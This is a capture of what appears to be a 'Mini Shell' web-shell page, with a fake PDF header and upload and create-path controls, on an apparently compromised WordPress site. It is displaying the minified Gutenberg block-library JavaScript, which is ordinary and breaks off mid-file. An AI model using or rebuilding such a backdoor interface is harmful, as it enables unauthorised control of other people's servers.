%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/block-library/
Upload File :
Create Path :
Current File : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/block-library/index.min.js

(()=>{var e={3827:(e,t)=>{var n;!function(){"use strict";var o=function(){function e(){}function t(e,t){for(var n=t.length,o=0;o<n;++o)a(e,t[o])}e.prototype=Object.create(null);var n={}.hasOwnProperty,o=/\s+/;function a(e,a){if(a){var r=typeof a;"string"===r?function(e,t){for(var n=t.split(o),a=n.length,r=0;r<a;++r)e[n[r]]=!0}(e,a):Array.isArray(a)?t(e,a):"object"===r?function(e,t){if(t.toString===Object.prototype.toString)for(var o in t)n.call(t,o)&&(e[o]=!!t[o]);else e[t.toString()]=!0}(e,a):"number"===r&&function(e,t){e[t]=!0}(e,a)}}return function(){for(var n=arguments.length,o=Array(n),a=0;a<n;a++)o[a]=arguments[a];var r=new e;t(r,o);var l=[];for(var i in r)r[i]&&l.push(i);return l.join(" ")}}();e.exports?(o.default=o,e.exports=o):void 0===(n=function(){return o}.apply(t,[]))||(e.exports=n)}()},4403:(e,t)=>{var n;!function(){"use strict";var o={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var r=typeof n;if("string"===r||"number"===r)e.push(n);else if(Array.isArray(n)){if(n.length){var l=a.apply(null,n);l&&e.push(l)}}else if("object"===r)if(n.toString===Object.prototype.toString)for(var i in n)o.call(n,i)&&n[i]&&e.push(i);else e.push(n.toString())}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(n=function(){return a}.apply(t,[]))||(e.exports=n)}()},9756:e=>{e.exports=function(e,t){var n,o,a=0;function r(){var r,l,i=n,s=arguments.length;e:for(;i;){if(i.args.length===arguments.length){for(l=0;l<s;l++)if(i.args[l]!==arguments[l]){i=i.next;continue e}return i!==n&&(i===o&&(o=i.prev),i.prev.next=i.next,i.next&&(i.next.prev=i.prev),i.next=n,i.prev=null,n.prev=i,n=i),i.val}i=i.next}for(r=new Array(s),l=0;l<s;l++)r[l]=arguments[l];return i={args:r,val:e.apply(null,r)},n?(n.prev=i,i.next=n):o=i,a===t.maxSize?(o=o.prev).next=null:a++,n=i,i.val}return t=t||{},r.clear=function(){n=null,o=null,a=0},r}},4793:e=>{var t={À:"A",Á:"A",Â:"A",Ã:"A",Ä:"A",Å:"A",Ấ:"A",Ắ:"A",Ẳ:"A",Ẵ:"A",Ặ:"A",Æ:"AE",Ầ:"A",Ằ:"A",Ȃ:"A",Ç:"C",Ḉ:"C",È:"E",É:"E",Ê:"E",Ë:"E",Ế:"E",Ḗ:"E",Ề:"E",Ḕ:"E",Ḝ:"E",Ȇ:"E",Ì:"I",Í:"I",Î:"I",Ï:"I",Ḯ:"I",Ȋ:"I",Ð:"D",Ñ:"N",Ò:"O",Ó:"O",Ô:"O",Õ:"O",Ö:"O",Ø:"O",Ố:"O",Ṍ:"O",Ṓ:"O",Ȏ:"O",Ù:"U",Ú:"U",Û:"U",Ü:"U",Ý:"Y",à:"a",á:"a",â:"a",ã:"a",ä:"a",å:"a",ấ:"a",ắ:"a",ẳ:"a",ẵ:"a",ặ:"a",æ:"ae",ầ:"a",ằ:"a",ȃ:"a",ç:"c",ḉ:"c",è:"e",é:"e",ê:"e",ë:"e",ế:"e",ḗ:"e",ề:"e",ḕ:"e",ḝ:"e",ȇ:"e",ì:"i",í:"i",î:"i",ï:"i",ḯ:"i",ȋ:"i",ð:"d",ñ:"n",ò:"o",ó:"o",ô:"o",õ:"o",ö:"o",ø:"o",ố:"o",ṍ:"o",ṓ:"o",ȏ:"o",ù:"u",ú:"u",û:"u",ü:"u",ý:"y",ÿ:"y",Ā:"A",ā:"a",Ă:"A",ă:"a",Ą:"A",ą:"a",Ć:"C",ć:"c",Ĉ:"C",ĉ:"c",Ċ:"C",ċ:"c",Č:"C",č:"c",C̆:"C",c̆:"c",Ď:"D",ď:"d",Đ:"D",đ:"d",Ē:"E",ē:"e",Ĕ:"E",ĕ:"e",Ė:"E",ė:"e",Ę:"E",ę:"e",Ě:"E",ě:"e",Ĝ:"G",Ǵ:"G",ĝ:"g",ǵ:"g",Ğ:"G",ğ:"g",Ġ:"G",ġ:"g",Ģ:"G",ģ:"g",Ĥ:"H",ĥ:"h",Ħ:"H",ħ:"h",Ḫ:"H",ḫ:"h",Ĩ:"I",ĩ:"i",Ī:"I",ī:"i",Ĭ:"I",ĭ:"i",Į:"I",į:"i",İ:"I",ı:"i",IJ:"IJ",ij:"ij",Ĵ:"J",ĵ:"j",Ķ:"K",ķ:"k",Ḱ:"K",ḱ:"k",K̆:"K",k̆:"k",Ĺ:"L",ĺ:"l",Ļ:"L",ļ:"l",Ľ:"L",ľ:"l",Ŀ:"L",ŀ:"l",Ł:"l",ł:"l",Ḿ:"M",ḿ:"m",M̆:"M",m̆:"m",Ń:"N",ń:"n",Ņ:"N",ņ:"n",Ň:"N",ň:"n",ʼn:"n",N̆:"N",n̆:"n",Ō:"O",ō:"o",Ŏ:"O",ŏ:"o",Ő:"O",ő:"o",Œ:"OE",œ:"oe",P̆:"P",p̆:"p",Ŕ:"R",ŕ:"r",Ŗ:"R",ŗ:"r",Ř:"R",ř:"r",R̆:"R",r̆:"r",Ȓ:"R",ȓ:"r",Ś:"S",ś:"s",Ŝ:"S",ŝ:"s",Ş:"S",Ș:"S",ș:"s",ş:"s",Š:"S",š:"s",Ţ:"T",ţ:"t",ț:"t",Ț:"T",Ť:"T",ť:"t",Ŧ:"T",ŧ:"t",T̆:"T",t̆:"t",Ũ:"U",ũ:"u",Ū:"U",ū:"u",Ŭ:"U",ŭ:"u",Ů:"U",ů:"u",Ű:"U",ű:"u",Ų:"U",ų:"u",Ȗ:"U",ȗ:"u",V̆:"V",v̆:"v",Ŵ:"W",ŵ:"w",Ẃ:"W",ẃ:"w",X̆:"X",x̆:"x",Ŷ:"Y",ŷ:"y",Ÿ:"Y",Y̆:"Y",y̆:"y",Ź:"Z",ź:"z",Ż:"Z",ż:"z",Ž:"Z",ž:"z",ſ:"s",ƒ:"f",Ơ:"O",ơ:"o",Ư:"U",ư:"u",Ǎ:"A",ǎ:"a",Ǐ:"I",ǐ:"i",Ǒ:"O",ǒ:"o",Ǔ:"U",ǔ:"u",Ǖ:"U",ǖ:"u",Ǘ:"U",ǘ:"u",Ǚ:"U",ǚ:"u",Ǜ:"U",ǜ:"u",Ứ:"U",ứ:"u",Ṹ:"U",ṹ:"u",Ǻ:"A",ǻ:"a",Ǽ:"AE",ǽ:"ae",Ǿ:"O",ǿ:"o",Þ:"TH",þ:"th",Ṕ:"P",ṕ:"p",Ṥ:"S",ṥ:"s",X́:"X",x́:"x",Ѓ:"Г",ѓ:"г",Ќ:"К",ќ:"к",A̋:"A",a̋:"a",E̋:"E",e̋:"e",I̋:"I",i̋:"i",Ǹ:"N",ǹ:"n",Ồ:"O",ồ:"o",Ṑ:"O",ṑ:"o",Ừ:"U",ừ:"u",Ẁ:"W",ẁ:"w",Ỳ:"Y",ỳ:"y",Ȁ:"A",ȁ:"a",Ȅ:"E",ȅ:"e",Ȉ:"I",ȉ:"i",Ȍ:"O",ȍ:"o",Ȑ:"R",ȑ:"r",Ȕ:"U",ȕ:"u",B̌:"B",b̌:"b",Č̣:"C",č̣:"c",Ê̌:"E",ê̌:"e",F̌:"F",f̌:"f",Ǧ:"G",ǧ:"g",Ȟ:"H",ȟ:"h",J̌:"J",ǰ:"j",Ǩ:"K",ǩ:"k",M̌:"M",m̌:"m",P̌:"P",p̌:"p",Q̌:"Q",q̌:"q",Ř̩:"R",ř̩:"r",Ṧ:"S",ṧ:"s",V̌:"V",v̌:"v",W̌:"W",w̌:"w",X̌:"X",x̌:"x",Y̌:"Y",y̌:"y",A̧:"A",a̧:"a",B̧:"B",b̧:"b",Ḑ:"D",ḑ:"d",Ȩ:"E",ȩ:"e",Ɛ̧:"E",ɛ̧:"e",Ḩ:"H",ḩ:"h",I̧:"I",i̧:"i",Ɨ̧:"I",ɨ̧:"i",M̧:"M",m̧:"m",O̧:"O",o̧:"o",Q̧:"Q",q̧:"q",U̧:"U",u̧:"u",X̧:"X",x̧:"x",Z̧:"Z",z̧:"z"},n=Object.keys(t).join("|"),o=new RegExp(n,"g"),a=new RegExp(n,""),r=function(e){return e.replace(o,(function(e){return t[e]}))};e.exports=r,e.exports.has=function(e){return!!e.match(a)},e.exports.remove=r},5720:e=>{e.exports=function(e){return e&&"__experimental"in e&&!1!==e.__experimental}}},t={};function n(o){var a=t[o];if(void 0!==a)return a.exports;var r=t[o]={exports:{}};return e[o](r,r.exports,n),r.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var o in t)n.o(t,o)&&!n.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var o={};(()=>{"use strict";n.r(o),n.d(o,{__experimentalGetCoreBlocks:()=>qx,__experimentalRegisterExperimentalCoreBlocks:()=>jx,registerCoreBlocks:()=>Wx});var e={};n.r(e),n.d(e,{init:()=>et,metadata:()=>Ye,name:()=>Je,settings:()=>Xe});var t={};n.r(t),n.d(t,{init:()=>yt,metadata:()=>vt,name:()=>bt,settings:()=>_t});var a={};n.r(a),n.d(a,{init:()=>Ot,metadata:()=>Gt,name:()=>$t,settings:()=>Ut});var r={};n.r(r),n.d(r,{init:()=>gn,metadata:()=>mn,name:()=>dn,settings:()=>pn});var l={};n.r(l),n.d(l,{init:()=>Nn,metadata:()=>Sn,name:()=>Bn,settings:()=>Tn});var i={};n.r(i),n.d(i,{init:()=>An,metadata:()=>Mn,name:()=>Ln,settings:()=>Rn});var s={};n.r(s),n.d(s,{init:()=>$n,metadata:()=>Dn,name:()=>Fn,settings:()=>Gn});var c={};n.r(c),n.d(c,{init:()=>Qn,metadata:()=>Wn,name:()=>jn,settings:()=>Zn});var u={};n.r(u),n.d(u,{init:()=>oo,metadata:()=>eo,name:()=>to,settings:()=>no});var m={};n.r(m),n.d(m,{init:()=>uo,metadata:()=>io,name:()=>so,settings:()=>co});var d={};n.r(d),n.d(d,{init:()=>Po,metadata:()=>Bo,name:()=>To,settings:()=>No});var p={};n.r(p),n.d(p,{init:()=>$o,metadata:()=>Do,name:()=>Fo,settings:()=>Go});var g={};n.r(g),n.d(g,{init:()=>Wo,metadata:()=>Uo,name:()=>Oo,settings:()=>qo});var h={};n.r(h),n.d(h,{init:()=>Xo,metadata:()=>Ko,name:()=>Yo,settings:()=>Jo});var v={};n.r(v),n.d(v,{init:()=>aa,metadata:()=>ta,name:()=>na,settings:()=>oa});var b={};n.r(b),n.d(b,{init:()=>da,metadata:()=>ca,name:()=>ua,settings:()=>ma});var _={};n.r(_),n.d(_,{init:()=>ba,metadata:()=>ga,name:()=>ha,settings:()=>va});var y={};n.r(y),n.d(y,{init:()=>xa,metadata:()=>ya,name:()=>fa,settings:()=>ka});var f={};n.r(f),n.d(f,{init:()=>Ma,metadata:()=>Pa,name:()=>Ia,settings:()=>za});var k={};n.r(k),n.d(k,{init:()=>Da,metadata:()=>Aa,name:()=>Va,settings:()=>Ha});var x={};n.r(x),n.d(x,{init:()=>ja,metadata:()=>Oa,name:()=>qa,settings:()=>Wa});var w={};n.r(w),n.d(w,{init:()=>Xa,metadata:()=>Ka,name:()=>Ya,settings:()=>Ja});var E={};n.r(E),n.d(E,{init:()=>rr,metadata:()=>nr,name:()=>or,settings:()=>ar});var C={};n.r(C),n.d(C,{init:()=>br,metadata:()=>gr,name:()=>hr,settings:()=>vr});var S={};n.r(S),n.d(S,{init:()=>Zl,metadata:()=>ql,name:()=>Wl,settings:()=>jl});var B={};n.r(B),n.d(B,{init:()=>Mi,metadata:()=>Pi,name:()=>Ii,settings:()=>zi});var T={};n.r(T),n.d(T,{init:()=>Zi,metadata:()=>qi,name:()=>Wi,settings:()=>ji});var N={};n.r(N),n.d(N,{init:()=>rc,metadata:()=>nc,name:()=>oc,settings:()=>ac});var P={};n.r(P),n.d(P,{init:()=>yc,metadata:()=>vc,name:()=>bc,settings:()=>_c});var I={};n.r(I),n.d(I,{init:()=>Dc,metadata:()=>Ac,name:()=>Vc,settings:()=>Hc});var z={};n.r(z),n.d(z,{init:()=>qc,metadata:()=>$c,name:()=>Uc,settings:()=>Oc});var M={};n.r(M),n.d(M,{init:()=>Jc,metadata:()=>Qc,name:()=>Kc,settings:()=>Yc});var L={};n.r(L),n.d(L,{init:()=>bu,metadata:()=>gu,name:()=>hu,settings:()=>vu});var R={};n.r(R),n.d(R,{init:()=>xu,metadata:()=>yu,name:()=>fu,settings:()=>ku});var A={};n.r(A),n.d(A,{init:()=>Mu,metadata:()=>Pu,name:()=>Iu,settings:()=>zu});var V={};n.r(V),n.d(V,{init:()=>am,metadata:()=>tm,name:()=>nm,settings:()=>om});var H={};n.r(H),n.d(H,{init:()=>km,metadata:()=>_m,name:()=>ym,settings:()=>fm});var D={};n.r(D),n.d(D,{init:()=>Sm,metadata:()=>wm,name:()=>Em,settings:()=>Cm});var F={};n.r(F),n.d(F,{init:()=>ld,metadata:()=>od,name:()=>ad,settings:()=>rd});var G={};n.r(G),n.d(G,{init:()=>pd,metadata:()=>ud,name:()=>md,settings:()=>dd});var $={};n.r($),n.d($,{init:()=>fd,metadata:()=>bd,name:()=>_d,settings:()=>yd});var U={};n.r(U),n.d(U,{init:()=>Cp,metadata:()=>xp,name:()=>wp,settings:()=>Ep});var O={};n.r(O),n.d(O,{init:()=>Up,metadata:()=>Fp,name:()=>Gp,settings:()=>$p});var q={};n.r(q),n.d(q,{init:()=>ng,metadata:()=>Xp,name:()=>eg,settings:()=>tg});var W={};n.r(W),n.d(W,{init:()=>sg,metadata:()=>rg,name:()=>lg,settings:()=>ig});var j={};n.r(j),n.d(j,{init:()=>dg,metadata:()=>cg,name:()=>ug,settings:()=>mg});var Z={};n.r(Z),n.d(Z,{init:()=>xg,metadata:()=>yg,name:()=>fg,settings:()=>kg});var Q={};n.r(Q),n.d(Q,{init:()=>Ug,metadata:()=>Fg,name:()=>Gg,settings:()=>$g});var K={};n.r(K),n.d(K,{init:()=>Zg,metadata:()=>qg,name:()=>Wg,settings:()=>jg});var Y={};n.r(Y),n.d(Y,{init:()=>Xg,metadata:()=>Kg,name:()=>Yg,settings:()=>Jg});var J={};n.r(J),n.d(J,{init:()=>oh,metadata:()=>eh,name:()=>th,settings:()=>nh});var X={};n.r(X),n.d(X,{init:()=>uh,metadata:()=>ih,name:()=>sh,settings:()=>ch});var ee={};n.r(ee),n.d(ee,{init:()=>hh,metadata:()=>dh,name:()=>ph,settings:()=>gh});var te={};n.r(te),n.d(te,{init:()=>fh,metadata:()=>bh,name:()=>_h,settings:()=>yh});var ne={};n.r(ne),n.d(ne,{init:()=>Eh,metadata:()=>kh,name:()=>xh,settings:()=>wh});var oe={};n.r(oe),n.d(oe,{init:()=>Lh,metadata:()=>Ih,name:()=>zh,settings:()=>Mh});var ae={};n.r(ae),n.d(ae,{init:()=>Gh,metadata:()=>Hh,name:()=>Dh,settings:()=>Fh});var re={};n.r(re),n.d(re,{init:()=>jh,metadata:()=>Oh,name:()=>qh,settings:()=>Wh});var le={};n.r(le),n.d(le,{init:()=>rv,metadata:()=>nv,name:()=>ov,settings:()=>av});var ie={};n.r(ie),n.d(ie,{init:()=>pv,metadata:()=>uv,name:()=>mv,settings:()=>dv});var se={};n.r(se),n.d(se,{init:()=>fv,metadata:()=>bv,name:()=>_v,settings:()=>yv});var ce={};n.r(ce),n.d(ce,{init:()=>Tv,metadata:()=>Cv,name:()=>Sv,settings:()=>Bv});var ue={};n.r(ue),n.d(ue,{init:()=>Lv,metadata:()=>Iv,name:()=>zv,settings:()=>Mv});var me={};n.r(me),n.d(me,{init:()=>Gv,metadata:()=>Hv,name:()=>Dv,settings:()=>Fv});var de={};n.r(de),n.d(de,{init:()=>lb,metadata:()=>ob,name:()=>ab,settings:()=>rb});var pe={};n.r(pe),n.d(pe,{init:()=>qb,metadata:()=>$b,name:()=>Ub,settings:()=>Ob});var ge={};n.r(ge),n.d(ge,{init:()=>Kb,metadata:()=>jb,name:()=>Zb,settings:()=>Qb});var he={};n.r(he),n.d(he,{init:()=>a_,metadata:()=>t_,name:()=>n_,settings:()=>o_});var ve={};n.r(ve),n.d(ve,{init:()=>c_,metadata:()=>l_,name:()=>i_,settings:()=>s_});var be={};n.r(be),n.d(be,{init:()=>g_,metadata:()=>m_,name:()=>d_,settings:()=>p_});var _e={};n.r(_e),n.d(_e,{init:()=>f_,metadata:()=>v_,name:()=>b_,settings:()=>y_});var ye={};n.r(ye),n.d(ye,{init:()=>N_,metadata:()=>S_,name:()=>B_,settings:()=>T_});var fe={};n.r(fe),n.d(fe,{init:()=>O_,metadata:()=>G_,name:()=>$_,settings:()=>U_});var ke={};n.r(ke),n.d(ke,{init:()=>Y_,metadata:()=>Z_,name:()=>Q_,settings:()=>K_});var xe={};n.r(xe),n.d(xe,{init:()=>ty,metadata:()=>J_,name:()=>X_,settings:()=>ey});var we={};n.r(we),n.d(we,{init:()=>ly,metadata:()=>oy,name:()=>ay,settings:()=>ry});var Ee={};n.r(Ee),n.d(Ee,{init:()=>_y,metadata:()=>hy,name:()=>vy,settings:()=>by});var Ce={};n.r(Ce),n.d(Ce,{init:()=>Sy,metadata:()=>wy,name:()=>Ey,settings:()=>Cy});var Se={};n.r(Se),n.d(Se,{init:()=>My,metadata:()=>Py,name:()=>Iy,settings:()=>zy});var Be={};n.r(Be),n.d(Be,{init:()=>$y,metadata:()=>Dy,name:()=>Fy,settings:()=>Gy});var Te={};n.r(Te),n.d(Te,{init:()=>Qy,metadata:()=>Wy,name:()=>jy,settings:()=>Zy});var Ne={};n.r(Ne),n.d(Ne,{init:()=>rf,metadata:()=>nf,name:()=>of,settings:()=>af});var Pe={};n.r(Pe),n.d(Pe,{init:()=>vf,metadata:()=>pf,name:()=>gf,settings:()=>hf});var Ie={};n.r(Ie),n.d(Ie,{init:()=>Sf,metadata:()=>wf,name:()=>Ef,settings:()=>Cf});var ze={};n.r(ze),n.d(ze,{init:()=>Af,metadata:()=>Mf,name:()=>Lf,settings:()=>Rf});var Me={};n.r(Me),n.d(Me,{init:()=>pk,metadata:()=>uk,name:()=>mk,settings:()=>dk});var Le={};n.r(Le),n.d(Le,{init:()=>kk,metadata:()=>_k,name:()=>yk,settings:()=>fk});var Re={};n.r(Re),n.d(Re,{init:()=>Bk,metadata:()=>Ek,name:()=>Ck,settings:()=>Sk});var Ae={};n.r(Ae),n.d(Ae,{init:()=>ex,metadata:()=>Yk,name:()=>Jk,settings:()=>Xk});var Ve={};n.r(Ve),n.d(Ve,{init:()=>rx,metadata:()=>nx,name:()=>ox,settings:()=>ax});var He={};n.r(He),n.d(He,{init:()=>ux,metadata:()=>ix,name:()=>sx,settings:()=>cx});var De={};n.r(De),n.d(De,{init:()=>kx,metadata:()=>bx,name:()=>yx,settings:()=>fx});var Fe={};n.r(Fe),n.d(Fe,{init:()=>Gx,metadata:()=>Hx,name:()=>Dx,settings:()=>Fx});const Ge=window.wp.blocks,$e=window.wp.element,Ue=window.wp.primitives,Oe=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M19 6.2h-5.9l-.6-1.1c-.3-.7-1-1.1-1.8-1.1H5c-1.1 0-2 .9-2 2v11.8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8.2c0-1.1-.9-2-2-2zm.5 11.6c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h5.8c.2 0 .4.1.4.3l1 2H19c.3 0 .5.2.5.5v9.5zM8 12.8h8v-1.5H8v1.5zm0 3h8v-1.5H8v1.5z"}));function qe(e){if(!e)return;const{metadata:t,settings:n,name:o}=e;return(0,Ge.registerBlockType)({name:o,...t},n)}const We=window.wp.components,je=window.wp.i18n,Ze=window.wp.blockEditor,Qe=window.wp.serverSideRender;var Ke=n.n(Qe);const Ye={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/archives",title:"Archives",category:"widgets",description:"Display a date archive of your posts.",textdomain:"default",attributes:{displayAsDropdown:{type:"boolean",default:!1},showLabel:{type:"boolean",default:!0},showPostCounts:{type:"boolean",default:!1},type:{type:"string",default:"monthly"}},supports:{align:!0,html:!1,spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-archives-editor"},{name:Je}=Ye,Xe={icon:Oe,example:{},edit:function(e){let{attributes:t,setAttributes:n}=e;const{showLabel:o,showPostCounts:a,displayAsDropdown:r,type:l}=t;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display as dropdown"),checked:r,onChange:()=>n({displayAsDropdown:!r})}),r&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show label"),checked:o,onChange:()=>n({showLabel:!o})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show post counts"),checked:a,onChange:()=>n({showPostCounts:!a})}),(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Group by:"),options:[{label:(0,je.__)("Year"),value:"yearly"},{label:(0,je.__)("Month"),value:"monthly"},{label:(0,je.__)("Week"),value:"weekly"},{label:(0,je.__)("Day"),value:"daily"}],value:l,onChange:e=>n({type:e})}))),(0,$e.createElement)("div",(0,Ze.useBlockProps)(),(0,$e.createElement)(We.Disabled,null,(0,$e.createElement)(Ke(),{block:"core/archives",attributes:t}))))}},et=()=>qe({name:Je,metadata:Ye,settings:Xe}),tt=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{fillRule:"evenodd",d:"M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",clipRule:"evenodd"}));function nt(){return nt=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},nt.apply(this,arguments)}var ot=n(4403),at=n.n(ot);const rt=window.wp.url,lt=window.wp.coreData,it=window.wp.data;function st(e){const t=e?e[0]:24,n=e?e[e.length-1]:96;return{minSize:t,maxSize:Math.floor(2.5*n)}}function ct(){const{avatarURL:e}=(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store),{__experimentalDiscussionSettings:n}=t();return n}));return e}const ut={who:"authors",per_page:-1,_fields:"id,name",context:"view"},mt=function(e){let{value:t,onChange:n}=e;const[o,a]=(0,$e.useState)(),r=(0,it.useSelect)((e=>{const{getUsers:t}=e(lt.store);return t(ut)}),[]);if(!r)return null;const l=r.map((e=>({label:e.name,value:e.id})));return(0,$e.createElement)(We.ComboboxControl,{label:(0,je.__)("User"),help:(0,je.__)("Select the avatar user to display, if it is blank it will use the post/page author."),value:t,onChange:n,options:o||l,onFilterValueChange:e=>a(l.filter((t=>t.label.toLowerCase().startsWith(e.toLowerCase()))))})},dt=e=>{let{setAttributes:t,avatar:n,attributes:o,selectUser:a}=e;return(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Image size"),onChange:e=>t({size:e}),min:n.minSize,max:n.maxSize,initialPosition:null==o?void 0:o.size,value:null==o?void 0:o.size}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Link to user profile"),onChange:()=>t({isLink:!o.isLink}),checked:o.isLink}),o.isLink&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>t({linkTarget:e?"_blank":"_self"}),checked:"_blank"===o.linkTarget}),a&&(0,$e.createElement)(mt,{value:null==o?void 0:o.userId,onChange:e=>{t({userId:e})}})))},pt=e=>{let{setAttributes:t,attributes:n,avatar:o,blockProps:a,isSelected:r}=e;const l=(0,Ze.__experimentalUseBorderProps)(n),i=(0,rt.addQueryArgs)((0,rt.removeQueryArgs)(null==o?void 0:o.src,["s"]),{s:2*(null==n?void 0:n.size)});return(0,$e.createElement)("div",a,(0,$e.createElement)(We.ResizableBox,{size:{width:n.size,height:n.size},showHandle:r,onResizeStop:(e,o,a,r)=>{t({size:parseInt(n.size+(r.height||r.width),10)})},lockAspectRatio:!0,enable:{top:!1,right:!(0,je.isRTL)(),bottom:!0,left:(0,je.isRTL)()},minWidth:o.minSize,maxWidth:o.maxSize},(0,$e.createElement)("img",nt({src:i,alt:o.alt},l,{className:at()("avatar","avatar-"+n.size,"photo","wp-block-avatar__image",l.className),style:{...l.style}}))))},gt=e=>{let{attributes:t,context:n,setAttributes:o,isSelected:a}=e;const{commentId:r}=n,l=(0,Ze.useBlockProps)(),i=function(e){let{commentId:t}=e;const[n]=(0,lt.useEntityProp)("root","comment","author_avatar_urls",t),[o]=(0,lt.useEntityProp)("root","comment","author_name",t),a=n?Object.values(n):null,r=n?Object.keys(n):null,{minSize:l,maxSize:i}=st(r),s=ct();return{src:a?a[a.length-1]:s,minSize:l,maxSize:i,
// translators: %s is the Author name.
alt:o?// translators: %s is the Author name.
(0,je.sprintf)((0,je.__)("%s Avatar"),o):(0,je.__)("Default Avatar")}}({commentId:r});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(dt,{avatar:i,setAttributes:o,attributes:t,selectUser:!1}),t.isLink?(0,$e.createElement)("a",{href:"#avatar-pseudo-link",className:"wp-block-avatar__link",onClick:e=>e.preventDefault()},(0,$e.createElement)(pt,{attributes:t,avatar:i,blockProps:l,isSelected:a,setAttributes:o})):(0,$e.createElement)(pt,{attributes:t,avatar:i,blockProps:l,isSelected:a,setAttributes:o}))},ht=e=>{let{attributes:t,context:n,setAttributes:o,isSelected:a}=e;const{postId:r,postType:l}=n,i=function(e){let{userId:t,postId:n,postType:o}=e;const{authorDetails:a}=(0,it.useSelect)((e=>{var a;const{getEditedEntityRecord:r,getUser:l}=e(lt.store);if(t)return{authorDetails:l(t)};const i=null===(a=r("postType",o,n))||void 0===a?void 0:a.author;return{authorDetails:i?l(i):null}}),[o,n,t]),r=null!=a&&a.avatar_urls?Object.values(a.avatar_urls):null,l=null!=a&&a.avatar_urls?Object.keys(a.avatar_urls):null,{minSize:i,maxSize:s}=st(l),c=ct();return{src:r?r[r.length-1]:c,minSize:i,maxSize:s,alt:a?// translators: %s is the Author name.
(0,je.sprintf)((0,je.__)("%s Avatar"),null==a?void 0:a.name):(0,je.__)("Default Avatar")}}({userId:null==t?void 0:t.userId,postId:r,postType:l}),s=(0,Ze.useBlockProps)();return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(dt,{selectUser:!0,attributes:t,avatar:i,setAttributes:o}),(0,$e.createElement)("div",null,t.isLink?(0,$e.createElement)("a",{href:"#avatar-pseudo-link",className:"wp-block-avatar__link",onClick:e=>e.preventDefault()},(0,$e.createElement)(pt,{attributes:t,avatar:i,blockProps:s,isSelected:a,setAttributes:o})):(0,$e.createElement)(pt,{attributes:t,avatar:i,blockProps:s,isSelected:a,setAttributes:o})))},vt={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/avatar",title:"Avatar",category:"theme",description:"Add a user’s avatar.",textdomain:"default",attributes:{userId:{type:"number"},size:{type:"number",default:96},isLink:{type:"boolean",default:!1},linkTarget:{type:"string",default:"_self"}},usesContext:["postType","postId","commentId"],supports:{html:!1,align:!0,alignWide:!1,spacing:{margin:!0,padding:!0},__experimentalBorder:{__experimentalSkipSerialization:!0,radius:!0,width:!0,color:!0,style:!0,__experimentalDefaultControls:{radius:!0}},color:{text:!1,background:!1,__experimentalDuotone:"img"}},editorStyle:"wp-block-avatar",style:"wp-block-avatar"},{name:bt}=vt,_t={icon:tt,edit:function(e){var t,n;return null!=e&&null!==(t=e.context)&&void 0!==t&&t.commentId||null===(null==e||null===(n=e.context)||void 0===n?void 0:n.commentId)?(0,$e.createElement)(gt,e):(0,$e.createElement)(ht,e)}},yt=()=>qe({name:bt,metadata:vt,settings:_t}),ft=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 